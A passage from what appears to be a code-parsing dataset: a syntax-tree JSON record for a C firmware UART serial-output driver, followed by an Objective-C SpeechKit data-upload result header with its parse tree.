{"row": 80, "column": 11}}, {"id": 270, "type": "pointer_expression", "text": "*s", "parent": 269, "children": [271, 272], "start_point": {"row": 80, "column": 8}, "end_point": {"row": 80, "column": 10}}, {"id": 271, "type": "*", "text": "*", "parent": 270, "children": [], "start_point": {"row": 80, "column": 8}, "end_point": {"row": 80, "column": 9}}, {"id": 272, "type": "identifier", "text": "s", "parent": 270, "children": [], "start_point": {"row": 80, "column": 9}, "end_point": {"row": 80, "column": 10}}, {"id": 273, "type": "call_expression", "text": "uart_putc(*s++)", "parent": 268, "children": [274, 275], "start_point": {"row": 81, "column": 2}, "end_point": {"row": 81, "column": 17}}, {"id": 274, "type": "identifier", "text": "uart_putc", "parent": 273, "children": [], "start_point": {"row": 81, "column": 2}, "end_point": {"row": 81, "column": 11}}, {"id": 275, "type": "argument_list", "text": "(*s++)", "parent": 273, "children": [276], "start_point": {"row": 81, "column": 11}, "end_point": {"row": 81, "column": 17}}, {"id": 276, "type": "pointer_expression", "text": "*s++", "parent": 275, "children": [277, 278], "start_point": {"row": 81, "column": 12}, "end_point": {"row": 81, "column": 16}}, {"id": 277, "type": "*", "text": "*", "parent": 276, "children": [], "start_point": {"row": 81, "column": 12}, "end_point": {"row": 81, "column": 13}}, {"id": 278, "type": "update_expression", "text": "s++", "parent": 276, "children": [279, 280], "start_point": {"row": 81, "column": 13}, "end_point": {"row": 81, "column": 16}}, {"id": 279, "type": "identifier", "text": "s", "parent": 278, "children": [], "start_point": {"row": 81, "column": 13}, "end_point": {"row": 81, "column": 14}}, {"id": 280, "type": "++", "text": "++", "parent": 278, "children": [], "start_point": {"row": 81, "column": 14}, "end_point": {"row": 81, "column": 16}}, {"id": 281, "type": "return_statement", "text": "return 1;", "parent": 258, "children": [282], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 10}}, {"id": 282, "type": "number_literal", "text": "1", "parent": 281, "children": [], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 9}}, {"id": 283, "type": "function_definition", "text": "void uart_put_hex(unsigned int data, unsigned bitlen)\n{\n\tint i;\n\tunsigned char s;\n\tfor (i = bitlen - 4; i >= 0; i -= 4) {\n\t\tif ((data >> i) == 0) {\n\t\t\tuart_putc(0x30);\n\t\t\tcontinue;\n\t\t}\n\t\ts = (data >> i) & 0xf;\n\t\tif (s < 10)\n\t\t\tuart_putc(0x30 + s);\n\t\telse\n\t\t\tuart_putc(0x61 + s - 10);\n\t}\n}", "parent": null, "children": [284, 285], "start_point": {"row": 85, "column": 0}, "end_point": {"row": 100, "column": 1}}, {"id": 284, "type": "primitive_type", "text": "void", "parent": 283, "children": [], "start_point": {"row": 85, "column": 0}, "end_point": {"row": 85, "column": 4}}, {"id": 285, "type": "function_declarator", "text": "uart_put_hex(unsigned int data, unsigned bitlen)", "parent": 283, "children": [286, 287], "start_point": {"row": 85, "column": 5}, "end_point": {"row": 85, "column": 53}}, {"id": 286, "type": "identifier", "text": "uart_put_hex", "parent": 285, "children": [], "start_point": {"row": 85, "column": 5}, "end_point": {"row": 85, "column": 17}}, {"id": 287, "type": "parameter_list", "text": "(unsigned int data, unsigned bitlen)", "parent": 285, "children": [288, 293], "start_point": {"row": 85, "column": 17}, "end_point": {"row": 85, "column": 53}}, {"id": 288, "type": "parameter_declaration", "text": "unsigned int data", "parent": 287, "children": [289, 292], "start_point": {"row": 85, "column": 18}, "end_point": {"row": 85, "column": 35}}, {"id": 289, "type": "sized_type_specifier", "text": "unsigned int", "parent": 288, "children": [290, 291], "start_point": {"row": 85, "column": 18}, "end_point": {"row": 85, "column": 30}}, {"id": 290, "type": "unsigned", "text": "unsigned", "parent": 289, "children": [], "start_point": {"row": 85, "column": 18}, "end_point": {"row": 85, "column": 26}}, {"id": 291, "type": "primitive_type", "text": "int", "parent": 289, "children": [], "start_point": {"row": 85, "column": 27}, "end_point": {"row": 85, "column": 30}}, {"id": 292, "type": "identifier", "text": "data", "parent": 288, "children": [], "start_point": {"row": 85, "column": 31}, "end_point": {"row": 85, "column": 35}}, {"id": 293, "type": "parameter_declaration", "text": "unsigned bitlen", "parent": 287, "children": [294, 296], "start_point": {"row": 85, "column": 37}, "end_point": {"row": 85, "column": 52}}, {"id": 294, "type": "sized_type_specifier", "text": "unsigned", "parent": 293, "children": [295], "start_point": {"row": 85, "column": 37}, "end_point": {"row": 85, "column": 45}}, {"id": 295, "type": "unsigned", "text": "unsigned", "parent": 294, "children": [], "start_point": {"row": 85, "column": 37}, "end_point": {"row": 85, "column": 45}}, {"id": 296, "type": "identifier", "text": "bitlen", "parent": 293, "children": [], "start_point": {"row": 85, "column": 46}, "end_point": {"row": 85, "column": 52}}, {"id": 297, "type": "declaration", "text": "int i;", "parent": 283, "children": [298, 299], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 7}}, {"id": 298, "type": "primitive_type", "text": "int", "parent": 297, "children": [], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 4}}, {"id": 299, "type": "identifier", "text": "i", "parent": 297, "children": [], "start_point": {"row": 87, "column": 5}, "end_point": {"row": 87, "column": 6}}, {"id": 300, "type": "declaration", "text": "unsigned char s;", "parent": 283, "children": [301, 304], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 17}}, {"id": 301, "type": "sized_type_specifier", "text": "unsigned char", "parent": 300, "children": [302, 303], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 14}}, {"id": 302, "type": "unsigned", "text": "unsigned", "parent": 301, "children": [], "start_point": {"row": 88, "column": 1}, "end_point": {"row": 88, "column": 9}}, {"id": 303, "type": "primitive_type", "text": "char", "parent": 301, "children": [], "start_point": {"row": 88, "column": 10}, "end_point": {"row": 88, "column": 14}}, {"id": 304, "type": "identifier", "text": "s", "parent": 300, "children": [], "start_point": {"row": 88, "column": 15}, "end_point": {"row": 88, "column": 16}}, {"id": 305, "type": "for_statement", "text": "for (i = bitlen - 4; i >= 0; i -= 4) {\n\t\tif ((data >> i) == 0) {\n\t\t\tuart_putc(0x30);\n\t\t\tcontinue;\n\t\t}\n\t\ts = (data >> i) & 0xf;\n\t\tif (s < 10)\n\t\t\tuart_putc(0x30 + s);\n\t\telse\n\t\t\tuart_putc(0x61 + s - 10);\n\t}", "parent": 283, "children": [306, 313, 317], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 99, "column": 2}}, {"id": 306, "type": "assignment_expression", "text": "i = bitlen - 4", "parent": 305, "children": [307, 308, 309], "start_point": {"row": 89, "column": 6}, "end_point": {"row": 89, "column": 20}}, {"id": 307, "type": "identifier", "text": "i", "parent": 306, "children": [], "start_point": {"row": 89, "column": 6}, "end_point": {"row": 89, "column": 7}}, {"id": 308, "type": "=", "text": "=", "parent": 306, "children": [], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 9}}, {"id": 309, "type": "binary_expression", "text": "bitlen - 4", "parent": 306, "children": [310, 311, 312], "start_point": {"row": 89, "column": 10}, "end_point": {"row": 89, "column": 20}}, {"id": 310, "type": "identifier", "text": "bitlen", "parent": 309, "children": [], "start_point": {"row": 89, "column": 10}, "end_point": {"row": 89, "column": 16}}, {"id": 311, "type": "-", "text": "-", "parent": 309, "children": [], "start_point": {"row": 89, "column": 17}, "end_point": {"row": 89, "column": 18}}, {"id": 312, "type": "number_literal", "text": "4", "parent": 309, "children": [], "start_point": {"row": 89, "column": 19}, "end_point": {"row": 89, "column": 20}}, {"id": 313, "type": "binary_expression", "text": "i >= 0", "parent": 305, "children": [314, 315, 316], "start_point": {"row": 89, "column": 22}, "end_point": {"row": 89, "column": 28}}, {"id": 314, "type": "identifier", "text": "i", "parent": 313, "children": [], "start_point": {"row": 89, "column": 22}, "end_point": {"row": 89, "column": 23}}, {"id": 315, "type": ">=", "text": ">=", "parent": 313, "children": [], "start_point": {"row": 89, "column": 24}, "end_point": {"row": 89, "column": 26}}, {"id": 316, "type": "number_literal", "text": "0", "parent": 313, "children": [], "start_point": {"row": 89, "column": 27}, "end_point": {"row": 89, "column": 28}}, {"id": 317, "type": "assignment_expression", "text": "i -= 4", "parent": 305, "children": [318, 319, 320], "start_point": {"row": 89, "column": 30}, "end_point": {"row": 89, "column": 36}}, {"id": 318, "type": "identifier", "text": "i", "parent": 317, "children": [], "start_point": {"row": 89, "column": 30}, "end_point": {"row": 89, "column": 31}}, {"id": 319, "type": "-=", "text": "-=", "parent": 317, "children": [], "start_point": {"row": 89, "column": 32}, "end_point": {"row": 89, "column": 34}}, {"id": 320, "type": "number_literal", "text": "4", "parent": 317, "children": [], "start_point": {"row": 89, "column": 35}, "end_point": {"row": 89, "column": 36}}, {"id": 321, "type": "if_statement", "text": "if ((data >> i) == 0) {\n\t\t\tuart_putc(0x30);\n\t\t\tcontinue;\n\t\t}", "parent": 305, "children": [322], "start_point": {"row": 90, "column": 2}, "end_point": {"row": 93, "column": 3}}, {"id": 322, "type": "parenthesized_expression", "text": "((data >> i) == 0)", "parent": 321, "children": [323], "start_point": {"row": 90, "column": 5}, "end_point": {"row": 90, "column": 23}}, {"id": 323, "type": "binary_expression", "text": "(data >> i) == 0", "parent": 322, "children": [324, 329, 330], "start_point": {"row": 90, "column": 6}, "end_point": {"row": 90, "column": 22}}, {"id": 324, "type": "parenthesized_expression", "text": "(data >> i)", "parent": 323, "children": [325], "start_point": {"row": 90, "column": 6}, "end_point": {"row": 90, "column": 17}}, {"id": 325, "type": "binary_expression", "text": "data >> i", "parent": 324, "children": [326, 327, 328], "start_point": {"row": 90, "column": 7}, "end_point": {"row": 90, "column": 16}}, {"id": 326, "type": "identifier", "text": "data", "parent": 325, "children": [], "start_point": {"row": 90, "column": 7}, "end_point": {"row": 90, "column": 11}}, {"id": 327, "type": ">>", "text": ">>", "parent": 325, "children": [], "start_point": {"row": 90, "column": 12}, "end_point": {"row": 90, "column": 14}}, {"id": 328, "type": "identifier", "text": "i", "parent": 325, "children": [], "start_point": {"row": 90, "column": 15}, "end_point": {"row": 90, "column": 16}}, {"id": 329, "type": "==", "text": "==", "parent": 323, "children": [], "start_point": {"row": 90, "column": 18}, "end_point": {"row": 90, "column": 20}}, {"id": 330, "type": "number_literal", "text": "0", "parent": 323, "children": [], "start_point": {"row": 90, "column": 21}, "end_point": {"row": 90, "column": 22}}, {"id": 331, "type": "call_expression", "text": "uart_putc(0x30)", "parent": 321, "children": [332, 333], "start_point": {"row": 91, "column": 3}, "end_point": {"row": 91, "column": 18}}, {"id": 332, "type": "identifier", "text": "uart_putc", "parent": 331, "children": [], "start_point": {"row": 91, "column": 3}, "end_point": {"row": 91, "column": 12}}, {"id": 333, "type": "argument_list", "text": "(0x30)", "parent": 331, "children": [334], "start_point": {"row": 91, "column": 12}, "end_point": {"row": 91, "column": 18}}, {"id": 334, "type": "number_literal", "text": "0x30", "parent": 333, "children": [], "start_point": {"row": 91, "column": 13}, "end_point": {"row": 91, "column": 17}}, {"id": 335, "type": "continue_statement", "text": "continue;", "parent": 321, "children": [336], "start_point": {"row": 92, "column": 3}, "end_point": {"row": 92, "column": 12}}, {"id": 336, "type": "continue", "text": "continue", "parent": 335, "children": [], "start_point": {"row": 92, "column": 3}, "end_point": {"row": 92, "column": 11}}, {"id": 337, "type": "assignment_expression", "text": "s = (data >> i) & 0xf", "parent": 305, "children": [338, 339, 340], "start_point": {"row": 94, "column": 2}, "end_point": {"row": 94, "column": 23}}, {"id": 338, "type": "identifier", "text": "s", "parent": 337, "children": [], "start_point": {"row": 94, "column": 2}, "end_point": {"row": 94, "column": 3}}, {"id": 339, "type": "=", "text": "=", "parent": 337, "children": [], "start_point": {"row": 94, "column": 4}, "end_point": {"row": 94, "column": 5}}, {"id": 340, "type": "binary_expression", "text": "(data >> i) & 0xf", "parent": 337, "children": [341, 346], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 23}}, {"id": 341, "type": "parenthesized_expression", "text": "(data >> i)", "parent": 340, "children": [342], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 17}}, {"id": 342, "type": "binary_expression", "text": "data >> i", "parent": 341, "children": [343, 344, 345], "start_point": {"row": 94, "column": 7}, "end_point": {"row": 94, "column": 16}}, {"id": 343, "type": "identifier", "text": "data", "parent": 342, "children": [], "start_point": {"row": 94, "column": 7}, "end_point": {"row": 94, "column": 11}}, {"id": 344, "type": ">>", "text": ">>", "parent": 342, "children": [], "start_point": {"row": 94, "column": 12}, "end_point": {"row": 94, "column": 14}}, {"id": 345, "type": "identifier", "text": "i", "parent": 342, "children": [], "start_point": {"row": 94, "column": 15}, "end_point": {"row": 94, "column": 16}}, {"id": 346, "type": "number_literal", "text": "0xf", "parent": 340, "children": [], "start_point": {"row": 94, "column": 20}, "end_point": {"row": 94, "column": 23}}, {"id": 347, "type": "if_statement", "text": "if (s < 10)\n\t\t\tuart_putc(0x30 + s);\n\t\telse\n\t\t\tuart_putc(0x61 + s - 10);", "parent": 305, "children": [348, 360], "start_point": {"row": 95, "column": 2}, "end_point": {"row": 98, "column": 28}}, {"id": 348, "type": "parenthesized_expression", "text": "(s < 10)", "parent": 347, "children": [349], "start_point": {"row": 95, "column": 5}, "end_point": {"row": 95, "column": 13}}, {"id": 349, "type": "binary_expression", "text": "s < 10", "parent": 348, "children": [350, 351, 352], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 12}}, {"id": 350, "type": "identifier", "text": "s", "parent": 349, "children": [], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 7}}, {"id": 351, "type": "<", "text": "<", "parent": 349, "children": [], "start_point": {"row": 95, "column": 8}, "end_point": {"row": 95, "column": 9}}, {"id": 352, "type": "number_literal", "text": "10", "parent": 349, "children": [], "start_point": {"row": 95, "column": 10}, "end_point": {"row": 95, "column": 12}}, {"id": 353, "type": "call_expression", "text": "uart_putc(0x30 + s)", "parent": 347, "children": [354, 355], "start_point": {"row": 96, "column": 3}, "end_point": {"row": 96, "column": 22}}, {"id": 354, "type": "identifier", "text": "uart_putc", "parent": 353, "children": [], "start_point": {"row": 96, "column": 3}, "end_point": {"row": 96, "column": 12}}, {"id": 355, "type": "argument_list", "text": "(0x30 + s)", "parent": 353, "children": [356], "start_point": {"row": 96, "column": 12}, "end_point": {"row": 96, "column": 22}}, {"id": 356, "type": "binary_expression", "text": "0x30 + s", "parent": 355, "children": [357, 358, 359], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 21}}, {"id": 357, "type": "number_literal", "text": "0x30", "parent": 356, "children": [], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 17}}, {"id": 358, "type": "+", "text": "+", "parent": 356, "children": [], "start_point": {"row": 96, "column": 18}, "end_point": {"row": 96, "column": 19}}, {"id": 359, "type": "identifier", "text": "s", "parent": 356, "children": [], "start_point": {"row": 96, "column": 20}, "end_point": {"row": 96, "column": 21}}, {"id": 360, "type": "else_clause", "text": "else\n\t\t\tuart_putc(0x61 + s - 10);", "parent": 347, "children": [], "start_point": {"row": 97, "column": 2}, "end_point": {"row": 98, "column": 28}}, {"id": 361, "type": "call_expression", "text": "uart_putc(0x61 + s - 10)", "parent": 360, "children": [362, 363], "start_point": {"row": 98, "column": 3}, "end_point": {"row": 98, "column": 27}}, {"id": 362, "type": "identifier", "text": "uart_putc", "parent": 361, "children": [], "start_point": {"row": 98, "column": 3}, "end_point": {"row": 98, "column": 12}}, {"id": 363, "type": "argument_list", "text": "(0x61 + s - 10)", "parent": 361, "children": [364], "start_point": {"row": 98, "column": 12}, "end_point": {"row": 98, "column": 27}}, {"id": 364, "type": "binary_expression", "text": "0x61 + s - 10", "parent": 363, "children": [365, 369, 370], "start_point": {"row": 98, "column": 13}, "end_point": {"row": 98, "column": 26}}, {"id": 365, "type": "binary_expression", "text": "0x61 + s", "parent": 364, "children": [366, 367, 368], "start_point": {"row": 98, "column": 13}, "end_point": {"row": 98, "column": 21}}, {"id": 366, "type": "number_literal", "text": "0x61", "parent": 365, "children": [], "start_point": {"row": 98, "column": 13}, "end_point": {"row": 98, "column": 17}}, {"id": 367, "type": "+", "text": "+", "parent": 365, "children": [], "start_point": {"row": 98, "column": 18}, "end_point": {"row": 98, "column": 19}}, {"id": 368, "type": "identifier", "text": "s", "parent": 365, "children": [], "start_point": {"row": 98, "column": 20}, "end_point": {"row": 98, "column": 21}}, {"id": 369, "type": "-", "text": "-", "parent": 364, "children": [], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 23}}, {"id": 370, "type": "number_literal", "text": "10", "parent": 364, "children": [], "start_point": {"row": 98, "column": 24}, "end_point": {"row": 98, "column": 26}}]}, "node_categories": {"declarations": {"functions": [93, 100, 106, 112, 118, 124, 126, 141, 143, 216, 218, 258, 260, 283, 285], "variables": [129, 146, 172, 221, 263, 288, 293, 297, 300], "classes": [], "imports": [0, 1, 3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [132, 133, 136, 153, 154, 156, 157, 158, 161, 165, 166, 182, 183, 184, 185, 186, 189, 193, 194, 200, 207, 210, 211, 225, 226, 233, 241, 242, 245, 248, 252, 269, 270, 273, 276, 278, 309, 313, 322, 323, 324, 325, 331, 340, 341, 342, 348, 349, 353, 356, 361, 364, 365], "assignments": [306, 317, 337], "loops": [152, 240, 268, 305], "conditionals": [11, 15, 19, 23, 27, 31, 35, 39, 43, 47, 51, 55, 59, 63, 67, 71, 75, 79, 83, 87, 91, 95, 97, 98, 102, 104, 108, 110, 114, 116, 120, 122, 127, 134, 137, 139, 140, 144, 148, 149, 159, 162, 164, 173, 177, 181, 187, 190, 192, 201, 208, 212, 215, 219, 223, 224, 227, 234, 243, 246, 251, 253, 255, 257, 261, 267, 272, 274, 279, 286, 289, 292, 294, 296, 299, 301, 304, 307, 310, 314, 318, 321, 326, 328, 332, 338, 343, 345, 347, 350, 354, 359, 362, 368], "returns": [131, 256, 281], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 8, 150, 167, 169, 179, 195, 197, 199, 203, 214, 229, 236, 282, 312, 316, 320, 330, 334, 346, 352, 357, 366, 370], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 93, "universal_type": "function", "name": "unknown", "text_snippet": "#define P_UART(uart_base, reg)\t\t(uart_base+reg)\n"}, {"node_id": 100, "universal_type": "function", "name": "unknown", "text_snippet": "#define P_UART_WFIFO(uart_base)\t\tP_UART(uart_base, UART_WFIFO)\n"}, {"node_id": 106, "universal_type": "function", "name": "unknown", "text_snippet": "#define P_UART_MODE(uart_base)\t\tP_UART(uart_base, UART_MODE)\n"}, {"node_id": 112, "universal_type": "function", "name": "unknown", "text_snippet": "#define P_UART_CTRL(uart_base)\t\tP_UART(uart_base, UART_CTRL)\n"}, {"node_id": 118, "universal_type": "function", "name": "unknown", "text_snippet": "#define P_UART_STATUS(uart_base)\tP_UART(uart_base, UART_STATUS)\n"}, {"node_id": 124, "universal_type": "function", "name": "uart_tx_isfull", "text_snippet": "static int uart_tx_isfull(void)\n{\n\treturn readl(P_UART_STATUS(UART_PORT_CONS)) &\n\t\tUART_STAT_MASK_TF"}, {"node_id": 126, "universal_type": "function", "name": "unknown", "text_snippet": "uart_tx_isfull(void)"}, {"node_id": 141, "universal_type": "function", "name": "wait_uart_empty", "text_snippet": "void wait_uart_empty(void)\n{\n#if 0\n\twhile (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n\t\t;\n"}, {"node_id": 143, "universal_type": "function", "name": "unknown", "text_snippet": "wait_uart_empty(void)"}, {"node_id": 216, "universal_type": "function", "name": "uart_putc", "text_snippet": "int uart_putc(int c)\n{\n\tif (c == '\\n')\n\t\tuart_putc('\\r');\n\n\t/* Wait until TX is not full */\n\twhile ("}, {"node_id": 218, "universal_type": "function", "name": "unknown", "text_snippet": "uart_putc(int c)"}, {"node_id": 258, "universal_type": "function", "name": "uart_puts", "text_snippet": "int uart_puts(const char *s)\n{\n\twhile (*s)\n\t\tuart_putc(*s++);\n\treturn 1;\n}"}, {"node_id": 260, "universal_type": "function", "name": "unknown", "text_snippet": "uart_puts(const char *s)"}, {"node_id": 283, "universal_type": "function", "name": "uart_put_hex", "text_snippet": "void uart_put_hex(unsigned int data, unsigned bitlen)\n{\n\tint i;\n\tunsigned char s;\n\tfor (i = bitlen -"}, {"node_id": 285, "universal_type": "function", "name": "data,", "text_snippet": "uart_put_hex(unsigned int data, unsigned bitlen)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include \"registers.h\"\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <stdint.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"task_apis.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#include \"registers.h\"\n#include <stdint.h>\n#include \"task_apis.h\"\n\n/* #define P_AO_UART_WFIFO (0xc81004c0) */\n/* #define P_AO_RTI_PIN_MUX_REG (0xc8100014) */\n\n#define UART_PORT_CONS P_AO_UART_WFIFO\n\n#define UART_STP_BIT UART_MODE_MASK_STP_1BIT\n#define UART_PRTY_BIT 0\n#define UART_CHAR_LEN UART_MODE_MASK_CHAR_8BIT\n#define UART_MODE_RESET_MASK\t\\\n\t\t\t\t\t(UART_MODE_MASK_RST_TX \\\n\t\t\t\t\t| UART_MODE_MASK_RST_RX \\\n\t\t\t\t\t| UART_MODE_MASK_CLR_ERR)\n\n#define UART_WFIFO (0<<2)\n#define UART_RFIFO\t(1<<2)\n#define UART_MODE\t(2<<2)\n#define UART_STATUS (3<<2)\n#define UART_IRQCTL\t(4<<2)\n#define UART_CTRL\t(5<<2)\n#define UART_MODE_MASK_STP_1BIT (0<<16)\n#define UART_MODE_MASK_CHAR_8BIT (0<<20)\n#define UART_MODE_MASK_TX_EN (1<<12)\n#define UART_MODE_MASK_RX_EN (1<<13)\n#define UART_MODE_MASK_RST_TX (1<<22)\n#define UART_MODE_MASK_RST_RX (1<<23)\n#define UART_MODE_MASK_CLR_ERR (1<<24)\n#define UART_STAT_MASK_TFIFO_FULL (1<<21)\n#define UART_CTRL_USE_XTAL_CLK\t\t\t(1<<24)\n#define UART_CTRL_USE_NEW_BAUD_RATE\t\t(1<<23)\n\n#define P_UART(uart_base, reg)\t\t(uart_base+reg)\n#define P_UART_WFIFO(uart_base)\t\tP_UART(uart_base, UART_WFIFO)\n#define P_UART_MODE(uart_base)\t\tP_UART(uart_base, UART_MODE)\n#define P_UART_CTRL(uart_base)\t\tP_UART(uart_base, UART_CTRL)\n#define P_UART_STATUS(uart_base)\tP_UART(uart_base, UART_STATUS)\n\n\nstatic int uart_tx_isfull(void)\n{\n\treturn readl(P_UART_STATUS(UART_PORT_CONS)) &\n\t\tUART_STAT_MASK_TFIFO_FULL;\n}\n\nvoid wait_uart_empty(void)\n{\n#if 0\n\twhile (!(readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)))\n\t\t;\n#else\n\tunsigned int count=0;\n\tdo {\n\t\tif ((readl(P_UART_STATUS(UART_PORT_CONS)) & (1 << 22)) == 0)\n\t\t\t_udelay(4);\n\t\telse\n\t\t\tbreak;\n\t\tcount++;\n\t} while ( count < 20000);\n#endif\n}\n\nint uart_putc(int c)\n{\n\tif (c == '\\n')\n\t\tuart_putc('\\r');\n\n\t/* Wait until TX is not full */\n\twhile (uart_tx_isfull())\n\t\t;\n\n\twritel((char)c, P_UART_WFIFO(UART_PORT_CONS));\n\t/*wait_uart_empty();*/\n\treturn c;\n}\n\nint uart_puts(const char *s)\n{\n\twhile (*s)\n\t\tuart_putc(*s++);\n\treturn 1;\n}\n\nvoid uart_put_hex(unsigned int data, unsigned bitlen)\n{\n\tint i;\n\tunsigned char s;\n\tfor (i = bitlen - 4; i >= 0; i -= 4) {\n\t\tif ((data >> i) == 0) {\n\t\t\tuart_putc(0x30);\n\t\t\tcontinue;\n\t\t}\n\t\ts = (data >> i) & 0xf;\n\t\tif (s < 10)\n\t\t\tuart_putc(0x30 + s);\n\t\telse\n\t\t\tuart_putc(0x61 + s - 10);\n\t}\n}\n"}
81,152
c
// // SKDataUploadResult.h // SpeechKit // // Copyright 2012, Nuance Communications Inc. All rights reserved. // // Nuance Communications, Inc. provides this document without representation // or warranty of any kind. The information in this document is subject to // change without notice and does not represent a commitment by Nuance // Communications, Inc. The software and/or databases described in this // document are furnished under a license agreement and may be used or // copied only in accordance with the terms of such license agreement. // Without limiting the rights under copyright reserved herein, and except // as permitted by such license agreement, no part of this document may be // reproduced or transmitted in any form or by any means, including, without // limitation, electronic, mechanical, photocopying, recording, or otherwise, // or transferred to information storage and retrieval systems, without the // prior written permission of Nuance Communications, Inc. // // Nuance, the Nuance logo, Nuance Recognizer, and Nuance Vocalizer are // trademarks or registered trademarks of Nuance Communications, Inc. or its // affiliates in the United States and/or other countries. All other // trademarks referenced herein are the property of their respective owners. // #import <Foundation/Foundation.h> /*! @abstract The SKDataResult object contains a result for each of the data type that has been sent */ @interface SKDataResult : NSObject { NSString *dataId; NSString *type; NSString *status; int checksum; int count; int force; } /*! @abstract Id of the data that has been sent. */ @property (nonatomic, retain) NSString *dataId; /*! @abstract Type of the data that has been sent. */ @property (nonatomic, retain) NSString *type; /*! @abstract Status of a particular data type uploaded: "success" or "failure" */ @property (nonatomic, retain) NSString *status; /*! @abstract Checksum of the data that has been sent */ @property (nonatomic, assign) int checksum; /*! @abstract Number of data items on server side */ @property (nonatomic, assign) int count; /*! @abstract A flag to indicate if the data is synchronized, 1: out of synch, 0 otherwise */ @property (nonatomic, assign) int force; @end /*! @abstract The SKDataUploadResult object contains data uplpad results returned from SKDataUpload. */ @interface SKDataUploadResult : NSObject { BOOL isVocRegenerated; NSArray *dataResults; } /*! @abstract Determine whether the voc files was re-generated (YES) or not (NO) */ @property (nonatomic, assign) BOOL isVocRegenerated; /*! @abstract An NSArray of SKDataResults contains the data result table. */ @property (nonatomic, retain) NSArray *dataResults; @end
32.68
82
(translation_unit) "//\n// SKDataUploadResult.h\n// SpeechKit\n//\n// Copyright 2012, Nuance Communications Inc. All rights reserved.\n//\n// Nuance Communications, Inc. provides this document without representation \n// or warranty of any kind. The information in this document is subject to \n// change without notice and does not represent a commitment by Nuance \n// Communications, Inc. The software and/or databases described in this \n// document are furnished under a license agreement and may be used or \n// copied only in accordance with the terms of such license agreement. \n// Without limiting the rights under copyright reserved herein, and except \n// as permitted by such license agreement, no part of this document may be \n// reproduced or transmitted in any form or by any means, including, without \n// limitation, electronic, mechanical, photocopying, recording, or otherwise, \n// or transferred to information storage and retrieval systems, without the \n// prior written permission of Nuance Communications, Inc.\n// \n// Nuance, the Nuance logo, Nuance Recognizer, and Nuance Vocalizer are \n// trademarks or registered trademarks of Nuance Communications, Inc. or its \n// affiliates in the United States and/or other countries. All other \n// trademarks referenced herein are the property of their respective owners.\n//\n\n#import <Foundation/Foundation.h>\n\n/*!\n @abstract The SKDataResult object contains a result for each of the data type \n that has been sent\n */\n@interface SKDataResult : NSObject\n{\n NSString *dataId;\n NSString *type;\n NSString *status;\n int checksum;\n int count;\n int force;\n}\n\n/*!\n @abstract Id of the data that has been sent.\n */\n@property (nonatomic, retain) NSString *dataId;\n/*!\n @abstract Type of the data that has been sent.\n */\n@property (nonatomic, retain) NSString *type;\n/*!\n @abstract Status of a particular data type uploaded: "success" or "failure"\n */\n@property (nonatomic, retain) NSString *status;\n/*!\n @abstract Checksum of the data that has been sent\n */\n@property (nonatomic, assign) int checksum;\n/*!\n @abstract Number of data items on server side\n */\n@property (nonatomic, assign) int count;\n/*!\n @abstract A flag to indicate if the data is synchronized, 1: out of synch, 0 otherwise\n */\n@property (nonatomic, assign) int force;\n\n@end\n\n/*!\n @abstract The SKDataUploadResult object contains data uplpad results returned from \n SKDataUpload.\n */\n@interface SKDataUploadResult : NSObject\n{\n BOOL isVocRegenerated;\n NSArray *dataResults;\n\n}\n\n/*!\n @abstract Determine whether the voc files was re-generated (YES) or not (NO)\n */\n@property (nonatomic, assign) BOOL isVocRegenerated;\n/*!\n @abstract An NSArray of SKDataResults contains the data result table.\n */\n@property (nonatomic, retain) NSArray *dataResults;\n\n\n\n@end\n" (comment) "//" (comment) "// SKDataUploadResult.h" (comment) "// SpeechKit" (comment) "//" (comment) "// Copyright 2012, Nuance Communications Inc. All rights reserved." (comment) "//" (comment) "// Nuance Communications, Inc. provides this document without representation " (comment) "// or warranty of any kind. The information in this document is subject to " (comment) "// change without notice and does not represent a commitment by Nuance " (comment) "// Communications, Inc. The software and/or databases described in this " (comment) "// document are furnished under a license agreement and may be used or " (comment) "// copied only in accordance with the terms of such license agreement. " (comment) "// Without limiting the rights under copyright reserved herein, and except " (comment) "// as permitted by such license agreement, no part of this document may be " (comment) "// reproduced or transmitted in any form or by any means, including, without " (comment) "// limitation, electronic, mechanical, photocopying, recording, or otherwise, " (comment) "// or transferred to information storage and retrieval systems, without the " (comment) "// prior written permission of Nuance Communications, Inc." (comment) "// " (comment) "// Nuance, the Nuance logo, Nuance Recognizer, and Nuance Vocalizer are " (comment) "// trademarks or registered trademarks of Nuance Communications, Inc. or its " (comment) "// affiliates in the United States and/or other countries. All other " (comment) "// trademarks referenced herein are the property of their respective owners." (comment) "//" (preproc_call) "#import <Foundation/Foundation.h>\n" (preproc_directive) "#import" (preproc_arg) "<Foundation/Foundation.h>" (comment) "/*!\n @abstract The SKDataResult object contains a result for each of the data type \n that has been sent\n */" (ERROR) "@" (ERROR) "@" (function_definition) "interface SKDataResult : NSObject\n{\n NSString *dataId;\n NSString *type;\n NSString *status;\n int checksum;\n int count;\n int force;\n}" (type_identifier) "interface" (identifier) "SKDataResult" (ERROR) ": NSObject" (:) ":" (identifier) 